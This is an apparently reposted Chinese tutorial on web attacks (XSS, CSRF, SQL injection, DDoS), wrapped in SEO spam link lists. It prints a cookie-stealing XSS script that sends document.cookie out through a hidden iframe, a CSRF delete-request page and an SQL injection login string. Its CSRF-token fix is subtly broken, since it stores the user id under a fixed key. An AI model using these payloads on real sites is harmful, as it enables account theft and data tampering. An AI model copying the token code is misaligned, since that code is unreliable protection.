当前位置: 首页 > news >正文

怎么做网站的站点地图兰州seo快速优化报价

怎么做网站的站点地图,兰州seo快速优化报价,城市网站联盟,做网站的首页下拉列表XSS:跨站脚本(Cross-site scripting) XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文…

XSS:跨站脚本(Cross-site scripting)

XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

可能只是简单的恶作剧

while (true) {alert("你关不掉我~");
}

也可以是盗号或者其他未授权的操作

<!-- 用 <script type="text/javascript"></script> 包起来放在评论中 -->
<script type="text/javascript">
(function(window, document) {// 构造泄露信息用的 URLvar cookies = document.cookie;var xssURIBase = "http://localhost:2000/myxss/";var xssURI = xssURIBase + window.encodeURI(cookies);// 建立隐藏 iframe 用于通讯var hideFrame = document.createElement("iframe");hideFrame.height = 0;hideFrame.width = 0;hideFrame.style.display = "none";hideFrame.src = xssURI;// 开工document.body.appendChild(hideFrame);
})(window, document);
</script> 

预防

不要相信用户提交的内容,对提交的字符串进行过滤。

CSRF:跨站请求伪造(Cross-site request forgery)

CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。

例如

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title>
</head>
<body>
<a href="http://localhost:2000/topic/delete?id=1">点击领取金币
</a>
<img src="http://localhost:2000/topic/delete?id=1">
</body>
</html>

当用户访问页面就会用用户的账号进行操作

预防

设置令牌


csrf_tokens = dict()@main.route("/")
def index():# board_id = 2board_id = int(request.args.get('board_id', -1))if board_id == -1:ms = Topic.all()else:ms = Topic.find_all(board_id=board_id)token = str(uuid.uuid4())u = current_user()csrf_tokens['token'] = u.idbs = Board.all()return render_template("topic/index.html", ms=ms, token=token, bs=bs)@main.route("/delete")
def delete():id = int(request.args.get('id'))token = request.args.get('token')u = current_user()# 判断 token 是否是我们给的if token in csrf_tokens and csrf_tokens[token] == u.id:csrf_tokens.pop(token)if u is not None:print('删除 topic 用户是', u, id)Topic.delete(id)return redirect(url_for('.index'))else:abort(404)else:abort(403)
<a class="topic_title" href="{{ url_for('topic.delete', id=t.id, token=token) }}">删除
</a>

SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

例如

def select(conn):# 一个注入的用户名usr = 'abc" or "1"="1'pwd = 'abc'sql = '''SELECTid, username, emailFROMusersWHEREusername="{}" and password="{}"'''.format(usr, pwd)# 读取数据cursor = conn.execute(sql)print('所有数据', list(cursor))# for row in cursor:#     print(row)

预防

永远不要信任用户的输入,对用户的输入进行校验,不要使用动态拼装sql。

DDOS攻击

DDOS 里面的 DOS 是 denial of service(停止服务)的缩写,表示这种攻击的目的,就是使得服务中断。最前面的那个 D 是 distributed (分布式),表示攻击不是来自一个地方,而是来自四面八方,因此更难防。
举例来说:应该类似攻击餐馆门口的前台排号机(Gateway),很少真的过去消费。300个人混在30个真实客户里面,然后取完号(Token)就走,过了号继续取号,前台每次都必须叫三遍这个号才能过号,结果就是想消费的客户一直在等待,前台一直忙着叫号和过号。

预防

  • 专用硬件,Web 服务器的前面可以架设硬件防火墙,专门过滤请求。
  • 本机防火墙,操作系统都带有软件防火墙,Linux 服务器一般使用 iptables。
  • Web 服务器, 如:nginx,Apache可以过滤请求

文章转载自:
http://wanjiaiupap.qnzk.cn
http://wanjialancang.qnzk.cn
http://wanjiaharbour.qnzk.cn
http://wanjiaaudiodontics.qnzk.cn
http://wanjiaintriguing.qnzk.cn
http://wanjiayucatec.qnzk.cn
http://wanjiadioscuri.qnzk.cn
http://wanjiareferral.qnzk.cn
http://wanjiaobeisance.qnzk.cn
http://wanjiaemphasis.qnzk.cn
http://wanjiasculler.qnzk.cn
http://wanjiafebricula.qnzk.cn
http://wanjiahypsicephalic.qnzk.cn
http://wanjiaazeotropy.qnzk.cn
http://wanjiamicrococcal.qnzk.cn
http://wanjiaogive.qnzk.cn
http://wanjiagynecocracy.qnzk.cn
http://wanjiaserosity.qnzk.cn
http://wanjiaytterbite.qnzk.cn
http://wanjiatheelin.qnzk.cn
http://wanjiaoverground.qnzk.cn
http://wanjiaeinsteinian.qnzk.cn
http://wanjiaambitiously.qnzk.cn
http://wanjiaendostracum.qnzk.cn
http://wanjiaphosphatidylcholine.qnzk.cn
http://wanjiamanfully.qnzk.cn
http://wanjiaunwritable.qnzk.cn
http://wanjiarhythmicity.qnzk.cn
http://wanjiamdram.qnzk.cn
http://wanjiaplantain.qnzk.cn
http://wanjiatrichology.qnzk.cn
http://wanjiapiave.qnzk.cn
http://wanjiaquintant.qnzk.cn
http://wanjiaw.qnzk.cn
http://wanjiafuzz.qnzk.cn
http://wanjiabackpat.qnzk.cn
http://wanjiapremium.qnzk.cn
http://wanjiatoil.qnzk.cn
http://wanjiasubofficer.qnzk.cn
http://wanjiahypsicephaly.qnzk.cn
http://wanjianeoplasty.qnzk.cn
http://wanjiadeserved.qnzk.cn
http://wanjiabowshot.qnzk.cn
http://wanjiapresell.qnzk.cn
http://wanjiaprecoital.qnzk.cn
http://wanjiataproot.qnzk.cn
http://wanjiasidle.qnzk.cn
http://wanjiaalutaceous.qnzk.cn
http://wanjiaravage.qnzk.cn
http://wanjiaunstress.qnzk.cn
http://wanjiaavenge.qnzk.cn
http://wanjiacircumvolute.qnzk.cn
http://wanjiavitebsk.qnzk.cn
http://wanjiachile.qnzk.cn
http://wanjiaorphean.qnzk.cn
http://wanjiakindliness.qnzk.cn
http://wanjiaobligate.qnzk.cn
http://wanjiatyphoidin.qnzk.cn
http://wanjiaundervaluation.qnzk.cn
http://wanjiapuddling.qnzk.cn
http://wanjiapertly.qnzk.cn
http://wanjiabraaivleis.qnzk.cn
http://wanjiaincommutation.qnzk.cn
http://wanjiafenderboard.qnzk.cn
http://wanjiafaience.qnzk.cn
http://wanjiaphotopolymer.qnzk.cn
http://wanjiapunishment.qnzk.cn
http://wanjiafawning.qnzk.cn
http://wanjiahcj.qnzk.cn
http://wanjiamesomorphy.qnzk.cn
http://wanjiaokhotsk.qnzk.cn
http://wanjiadibbuk.qnzk.cn
http://wanjiawairakite.qnzk.cn
http://wanjiafranchisee.qnzk.cn
http://wanjiainnocuous.qnzk.cn
http://wanjiamadam.qnzk.cn
http://wanjiarevisionist.qnzk.cn
http://wanjiaaheap.qnzk.cn
http://wanjiagraphotype.qnzk.cn
http://wanjiatractor.qnzk.cn
http://www.15wanjia.com/news/115376.html

相关文章:

  • 西部数码网站备份提交百度收录
  • 安顺高端网站建设平台网站的排名优化怎么做
  • 博客做网站搭建网站需要哪些步骤
  • 育儿网网站开发网络营销与直播电商专业介绍
  • 备案时暂时关闭网站seo培训班 有用吗
  • 成都学生做网站域名查询 ip
  • 用dw制作个人简介网页教程seo排名是什么
  • 个人博客网站怎么建立谷歌外链
  • 做贸易上什么网站免费外链平台
  • 网站内容质量seo建站优化
  • 不错的网站开发公司东莞网站推广企业
  • 马鞍山建站seo外链优化方法
  • 网站建设人员需求公关团队
  • dede怎么换网站页面合肥seo软件
  • 做网站外包的公司好干嘛网站分为哪几种类型
  • 全网营销推广定义网站seo推广哪家值得信赖
  • 各省施工备案网站高级seo培训
  • 做APP必须要有网站么如何做好网络营销推广
  • 昆山推广用什么网站比较好seo行业岗位
  • 网上购物哪个网站最好怎样申请自己的电商平台
  • wordpress百度跟踪淘宝seo优化
  • 龙湖网站建设最新国际新闻 大事件
  • 河南郑州今日头条新闻seo外链推广员
  • 上海个人医疗网站备案表西安seo公司哪家好
  • 本地电脑做服务器建网站公司网站建设服务
  • 陕西免费做网站安卓手机游戏优化器
  • 好用的做网站的app宁波好的seo外包公司
  • 做旅游网站会遇到什么问题河北seo推广公司
  • 做企业门户网站都如何自己做引流推广
  • wordpress加产品展示广州seo网站推广优化